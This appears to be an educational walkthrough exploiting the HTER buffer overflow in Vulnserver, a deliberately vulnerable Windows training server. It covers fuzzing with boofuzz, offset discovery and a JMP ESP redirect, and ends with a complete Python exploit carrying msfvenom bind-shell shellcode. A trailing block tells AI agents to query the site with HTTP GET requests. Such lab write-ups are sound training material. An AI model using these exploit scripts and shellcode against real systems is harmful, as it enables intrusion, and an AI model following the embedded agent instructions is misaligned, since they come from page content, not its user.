# Vulnserver - HTER Command

## 1. Intro&#x20;

*Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.*

![Figure 1](/files/-M-EwFlhU19RQaPbYglR)

You can get a copy of the application here <https://github.com/zflemingg1/OSCE/tree/master/Vulnserver>

## 2. The Setup

```
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer
```

### 2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

![Figure 2](/files/-M-ExGAp4WPlGQxCzJsx)

## 3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the HTER command. Observing that the valid argument structure for the HTER command is roughly `<HTER>[space]<command_value>` we can try sending `HTER hello` as a test and see if it’s accepted.

![Figure 3](/files/-M-dge7AQu-0hcV2Ck1m)

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the `HTER` command.

The following BOOFUZZ template was created to fuzz the HTER command in an effort to get the program to crash.&#x20;

```python
from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("HTER")
s_string("HTER", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("HTER"))
session.fuzz()

```

### 3.1 Crash

The following command appears to have crashed the program indicating that the "HTER" command can be manipulated to force the program to crash. &#x20;

![Figure 4](/files/-M-dl513ph1Xjn05zRJe)

![Figure 5](/files/-M-dlDkRnWQ7y9kB5tag)

### 3.2 Analysing The Crash

Based on the TCP stream (Figure 4), the number of bytes that was sent by the fuzzer and that caused the crash was **around 2050 bytes**.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the HTER command and cause the crash:

```python
import socket
from time import sleep

count = 5000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "HTER "
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	

	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	count = count - 50
	sleep(3)

```

![Figure 6](/files/-M-dn_nI88srFmn-grFw)

![Figure 7](/files/-M-dnjhtWTn5EvA0M8Hk)

As can be seen from figure 6 the program crashes when a string of 4950 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 4080 bytes - Figure 7.  However, **EIP** was overwritten with `AAAAAAAA` instead of `41414141`. From this we can observe that the buffer was somehow being converted into hex bytes as opposed to ASCII.

## 4. Determine Offset

&#x20;Due to the hex conversion, we are unable to use some of the traditional methods such as using `msf-pattern_create` to generate unique strings. To circumvent this, we can use the **“Binary Tree Analysis”** method to determine the offset. Instead of sending 3000 A’s, we can break it up into smaller sections such as 1500 A’s and 1500 B’s.

### 4.1 Binary Tree Analysis

Restart the application and run the updates exploit shown below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 1500 # Crashes at 4950
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 8](/files/-M-dq33jUxnMtbChN3sl)

From Figure 8 we can see that EIP is overwritten in our B section. Lets repeat this step again and modify our A and B lengths.

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2000 # Crashes at 4950
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 9](/files/-M-dqTSSGs6QH_NXBJo_)

From Figure 9 we can see that EIP is overwritten in our B section. Again we repeat this process of modifying our A and B lengths until we find a the correct offset that allows us to take control of EIP. After some trial and error the offset was found to be at 2045 bytes as shown below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "C" * 8    # Control EIP
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 10 ](/files/-M-drR1KB2zaxhP7KKZo)

## 5. Redirecting Execution Flow

Our next step is to find an address that contains a `JMP ESP` instruction.

**NOTE:** It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).

Restart the application in Immunity and execute the following command `!mona jmp -r esp -m "essfunc.dll"`.&#x20;

![Figure 11](/files/-M-QAEvTAy6Z352kxN-w)

Take note of the address highlighted in the above picture (0x625011AF)

### 5.1 Taking Control of EIP

Restart the application in Immunity, set a breakpoint at address `0x625011AF` and execute the updated POC below

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "AF115062" # Redirect EIP
payload += "41" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 12](/files/-M-dt4aYI5Ou1e7AeCL7)

Step through the breakpoint using F8 and you will land in our buffer - Figure 13.

![Figure 13](/files/-M-dtJMxMH05fIovLLIx)

## 6. Generating Shellcode

&#x20;Using all the information that we've gathered we can now generate the payload as shown below:

`msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f hex -v shellcode`

![Figure 14](/files/-M-dtfd4qg9ZTHEho7lP)

### 6.1 Getting Shell

Restart the application and execute the updated POC shown below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "AF115062" # Redirect EIP
payload += "90" * 80 # nop sled
payload += "dacbb81dd7accad97424f45b31c9b15331431703431783f62b4e3ff43c0dc004bd7248e18cb22e62be02242633e868d2c09ca4d5612a93d87207e77bf15a345bc894499a0dc8a0cec68617fe63d2ab753ff2ab6a88f59a3d82af3cbc47c474a684e1cf5d7e9dd1b74e5e7df67ead7f3fb84e0a49baf30d8ec02f9b1462bb3bf09268dd7398c5a9dbbdd87e50b95181b64b21a61217f1c703fd54f7535e085d18735dec431c92dd7bdcbc5608ee63cd8642ebcb51a4c6accd5be9ccc49fbd9c7e09be767eb66be27611c4117be1b495d38ade190caae0f325431dfc58c8a81a30e0fcb5acc2da0d4b3c0926fb755bf104864955920d9e6183118bc1d4864180973755894fdbc4568f92f4c0d8f3cb188ce972b3b2f3e3fc7628d00377bd6c20677b6c6cd3d33b3a8d95958c674c4947ef09a1586916ec2e95a75977aa080e7fd374ae800e3dce629a48673b4ff1eabcba36133f4ec7e05f3bc2ade7d0bebe8dd66dbe87"
payload += "41" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

**NOTE:**  A **nopsled** (80 NOP instructions) were added before the shellcode to give room for the decoder to work

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

![Figure 15](/files/-M-dvHsTtUfo49lmtX33)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://zflemingg1.gitbook.io/undergrad-tutorials/walkthroughs-osce/vulnserver-hter-command.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
